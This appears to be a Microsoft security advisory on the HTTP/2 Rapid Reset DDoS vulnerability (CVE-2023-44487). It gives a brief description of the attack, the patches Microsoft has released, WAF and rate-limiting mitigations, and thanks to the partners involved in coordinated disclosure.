Beginning in September 2023, Microsoft was notified by industry partners about a newly identified Distributed Denial-of-Service (DDoS) attack technique being used in the wild targeting HTTP/2 protocol. This vulnerability (CVE-2023-44487) impacts any internet exposed HTTP/2 endpoints. As an industry leader, Microsoft promptly opened an investigation and subsequently began working with industry partners for a coordinated disclosure and mitigation plan. Microsoft recommends customers follow the guidance provided in this blog to ensure your services are hardened and protected against this DDoS attack technique.

This DDoS attack, known as ‘HTTP/2 Rapid Reset’, leverages a flaw in the implementation of HTTP/2. Microsoft promptly created mitigations for IIS (HTTP.sys), .NET (Kestrel), and Windows, which were part of Microsoft Security Updates released on Oct 10th, 2023.

While this DDoS has the potential to impact service availability, it alone does _not_ lead to the compromise of customer data, and at this time we have seen no evidence of customer data being compromised.

**Attack Details Attack Details**

This HTTP/2 vulnerability allows malicious actors to launch a DDoS attack targeting HTTP/2 servers. The attack sends a set number of HTTP requests using HEADERS followed by RST\_STREAM and repeating this pattern to generate a high volume of traffic on the targeted HTTP/2 servers. By packing multiple HEADERS and RST\_STREAM frames in a single connection, attackers can cause a significant increase in the request per second and high CPU utilization on the servers that eventually can cause resource exhaustion.

**Protecting your services from CVE-2023-44487 Protecting your services from CVE-2023-44487**

This HTTP DDoS activity is primarily targeted at layer 7 rather than layer 3 or 4. Microsoft hardened layer 7 protections in our web service implementations and patched services to better protect customers from the impact of these DDoS attacks. While these tools and techniques are highly effective at mitigating the majority of disruptions, Microsoft consistently reviews the performance of its hardening capabilities and incorporates learnings into refining and improving their effectiveness.

*   Microsoft services used for hosting web applications have applied security updates to provide mitigations against this attack.
    
*   Microsoft recommends customers that are self-hosting web applications patch web servers/proxies using Windows update or Open-Source Software (OSS) fixes for CVE-2023-44487 as quickly as possible to protect their environments. Affected products requiring customer action have been released in our Microsoft Security Update Guide.
    
*   Microsoft recommends enabling Azure Web Application Firewall (WAF) on Azure Front Door or Azure Application Gateway to further improve security posture. WAF rate limiting rules are effective in providing additional protection against these attacks. Review recommendation section or this blog for more details.
    
*   Microsoft recommends restricting internet access to your web applications where possible.
    
*   If you are unable to apply the appropriate patches and your web application is not protected by WAF on Azure Front Door or Application Gateway, consider disabling HTTP2 on your web services. Please note disabling the HTTP2 protocol in your environment should be a deliberate decision, carefully assessing its potential impact on your products and services, as it can significantly influence performance and user experience.
    

**Recommendations – Layer 7 DDoS Protection Tips Recommendations – Layer 7 DDoS Protection Tips**

Microsoft recommends using layer 7 protection services such as Azure Web Application Firewall (WAF) (available with Azure Front Door, Azure Application Gateway) to protect web applications. Review the following mitigation guidance to reduce the impact of layer 7 DDoS attack: Application DDoS protection.

If using Azure WAF on Azure Front Door or Application Gateway:  

*   Use the bot protection managed rule set provides protection against known bad bots. For more information, see Configuring bot protection on Azure Front Door and Configuring bot protection on Application Gateway.
*   IP addresses and ranges that you identify as malicious should be blocked. For more information, see examples at Create and use custom rules for Azure Front Door and Create and use v2 custom rules for Application Gateway.
*   Traffic from outside a defined geographic region, or within a defined region, should be blocked, rate limited, or redirected to a static webpage. For more information, see examples at Create and use custom rules for Azure Front Door and Create and use v2 custom rules for Application Gateway.
*   Create rate limiting custom rules to automatically block and rate limit HTTP or HTTPS attacks that have known signatures. For more information, see examples at Create rate limiting custom rules for Azure Front Door and Create rate limiting custom rules for Application Gateway.

If using Azure API Management, in addition to fronting with WAF, customers should enable the following configuration:

*   Deploy your API Management instance into Virtual Network and enable DDOS protection
*   Apply L7 rate limit policy to block excessive HTTP traffic.

**Azure and M365 Azure and M365**

Per the Cloud Shared Responsibility Model, Microsoft will be applying the appropriate security updates to the Microsoft managed SaaS and PaaS services as well as IaaS auto patched services using Safe Deployment Practices. Additionally, these services are also protected by DDoS services.  Customers using IaaS services that are on a manual patching are encouraged to apply the updates based on the guidance outlined above.

Microsoft follows Coordinated Vulnerability Disclosure (CVD), which systematically and responsibly manages the discovery, reporting, and remediation of security vulnerabilities. CVD allows us to collaborate with researchers and the wider security community in a way that prioritizes user security and system integrity. By following a coordinated approach, we can work with researchers and industry partners to ensure that potential vulnerabilities are addressed before they’re made public, reducing the risk of exploitation.

Part of any robust security posture is working with researchers to help find vulnerabilities, so we can fix any findings before details of the vulnerabilities are broadly available and misused. We want to thank Amazon, Cloudflare, and Google who reported this vulnerability under Coordinated Vulnerability Disclosure (CVD). We also want to thank the partners in the open-source community that worked with the Microsoft Security Response Center (MSRC) to develop fixes and help keep Microsoft customers safe.

**References References**

*   Application DDoS protection - Azure Web Application Firewall | Microsoft Learn
*   DDoS Mitigation with Microsoft Azure Front Door | Azure Blog | Microsoft Azure
*   2022 in review: DDoS attack trends and insights | Microsoft Security Blog
*   Joint CISA FBI MS-ISAC Guide on Responding to DDoS Attacks and DDoS Guidance for Federal Agencies | CISA

Tag

#google